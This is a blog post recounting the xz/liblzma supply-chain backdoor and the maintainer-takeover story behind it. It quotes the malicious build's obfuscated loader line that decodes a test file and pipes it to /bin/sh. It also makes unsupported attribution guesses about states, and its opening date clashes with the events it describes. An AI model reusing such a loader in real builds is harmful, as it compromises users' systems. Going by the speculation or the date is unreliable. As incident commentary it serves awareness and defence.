The day we were almost all backdoored

The day we were almost all backdoored

Created
Apr 1, 2024
Tags
Cybersecurity
The day is June 30, 2023
I woke up, check the phone and noticed an unusual amount of messages in the group chat, especially for a Saturday morning.
Having a look it was a tweakers article about a xz library being potentially backdoored.
Yes sure, lets have some cereals
It is not uncommon to hear headlines about library X being potentially backdoorable
Usually it is just an insanely skilled researcher finding an obscure memory glitch somewhere in a widespread program that could potentialy be weaponized… with lot of ifs and a shitload of work, like Spectre and Meltdown or the more recent Apple M-series chip vulnerability
I was still curios, so in the end I just went back to the phone, opened the article and wow, things were immediately looking weird.

What happened ?

The article contained a mail from Andres Freund to oss-security that opens in a rather straightforward way
Hi, After observing a few odd symptoms around liblzma (part of the xz package) on Debian sid installations over the last weeks (logins with ssh taking a lot of CPU, valgrind errors) I figured out the answer: [ … ] The upstream xz repository and the xz tarballs have been backdoored.
Okay Andres you got my attention, go on
One portion of the backdoor is solely in the distributed tarballs for 5.6.0 and 5.6.1 […] That line is not in the upstream source of build-to-host, nor is build-to-host used by xz in git. […] This injects an obfuscated script to be executed at the end of configure. This script is fairly obfuscated and data from "test" .xz files in the repository.
Obfuscated payload in an open source repo ? This cannot be real
This injects an obfuscated script to be executed at the end of configure. This script is fairly obfuscated and data from "test" .xz files in the repository. This script is executed and, if some preconditions match, modifies $builddir/src/liblzma/Makefile to contain export i="((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +724)";(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31265|tr "\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131" "\0-\377")|xz -F raw --lzma1 -dc|/bin/sh ####World####
No fucking way
This is a textbook attack, a script whose source code is never publicly shown injects an obfuscated payload, into, guess what 🥁🥁🥁?
== Impact on sshd == The prior section explains that RSA_public_decrypt@....plt was redirected to point into the backdoor code. The trace I was analyzing indeed shows that during a pubkey login the exploit code is invoked
Yes, sshd. The login daemon, you know, the one that holds the key of your system. I honestly don’t need to investigate further what this thing can do. It is 10/10 already, with the level of sofistication to deploy the attack we can safely assume that the payload is deadly as well, probably spawning a backdoor and giving full system access to a botnet or a group of attackers somewhere in a bunker.
Do we really need more ? I mean, what else could potentially go wrong ?
This is only in the testing branch right, right ? It never made to production… rright?
Let’s try to see what version I have installed
xz --version xz (XZ Utils) 5.6.1 liblzma 5.6.1
oh nice, my pc is also infected… I mean, it could. At least it appears that the malicious code only targets linux x86-64 machines, thanks mr hacker my macbook is safe..

Who is behind it ?

Ok so, the story is just mind boggling, but if everything happened in clear sight there should be some traces, apparently hackernews was already bloated with posts about it, the main one opens with.
Very annoying - the apparent author of the backdoor was in communication with me over several weeks trying to get xz 5.6.x added to Fedora 40 & 41 because of it's "great new features". We even worked with him to fix the valgrind issue (which it turns out now was caused by the backdoor he had added). We had to race last night to fix the problem after an inadvertent break of the embargo. He has been part of the xz project for 2 years, adding all sorts of binary test files, and to be honest with this level of sophistication I would be suspicious of even older versions of xz until proven otherwise.
And a few comments down
PSA: I just noticed homebrew installed the compromised version on my Mac as a dependency of some other package. You may want to check this to see what version you get
Yeah, I noticed, but who is behind all this ? And then finally the name appeared @JiaT75
💡
Finally I found this amazing real-time post about Jia Tan
The Github Account has been created during 2021.
The first commits they make are not to xz, but they are deeply suspicious.
Specifically, they open a PR in libarchive: Added error text to warning when untaring with bsdtar.
This commit does a little more than it says. It replaces safe_fprint with an unsafe variant, potentially introducing another vulnerability. The code was merged without any discussion, and lives on to this day (patched).
After his great debut with libarchive Jia Tan decided to go after a bigger prey. On April 2022, a socket new account, Jigar Kumar, appears and pressures  Lasse Collin, the mantainer of xz -that was already undergoing some declared mental fatigue- to get a new mantainer on the repo.
After this request the perfect candidate, JiaT75 appeared to the rescue
He started committing a lot in the zx from 2022 troughout 2024, getting increasingly trusted to the point of becoming a mantainer himself.
Trough his new position, JiaT75 slowly deployed his malicious plan:
  • Add hardware tests to the repo ( So that he could later upload binary blobs unnoticed later on )
  • Update the deployment infrastructure to its own one
  • Disabling ifunc checks in oss-fuzz ( So that tests that Google runs on opensource packages wouldn’t raise alerts )
  • Update the exploit as a test case dependency
  • Commit the in-famous malicious line that uses the malicious library
  • Use socket accounts to get version 5.6.0 and 5.6.1 into as many mainstream repository as possible, this includes:
What a ride !

Additional Osint

  • Jia Tan has been found in IRC communities, it’s ip appears to be under the Witopia VPN
  • Minhu Wang found an old alias of Jian Tan, Jian Cheong Tan. This si apparently interesting because Jian and Tan appear to be Mandarin Names, wheres Cheong is usually mandarin, suggesting a poor attempt of chinese names mashup.
  • Most of the commits were made between UTC 12-17

Current state and final thoughts

I didn’t delve yet into the details of what the backdoor does, however here are some links to investigate it further
However I think it’s important to reflect on 3 points now
  • This cannot be an individual, maybe in the future we’ll discover who’s behind that. I don’t like pure speculation but honestly I wouldn’t be surprised if China, Russia or NSA were involved in any way
  • This vulnerability has been found trough sheer luck, investigations are now ongoing on everything related to Jia on the internet… but what if this wasn’t the first time ? what if another one is already there in the field
  • And finally this is big, everybody knew that tan episode like this could happen, but this time it actually happened and I am curious to see were the shockwaves will arrive.
PS: It is just to weird seeing your package manager just forcefully downgrade a package cause, you know…. it was a malware
notion image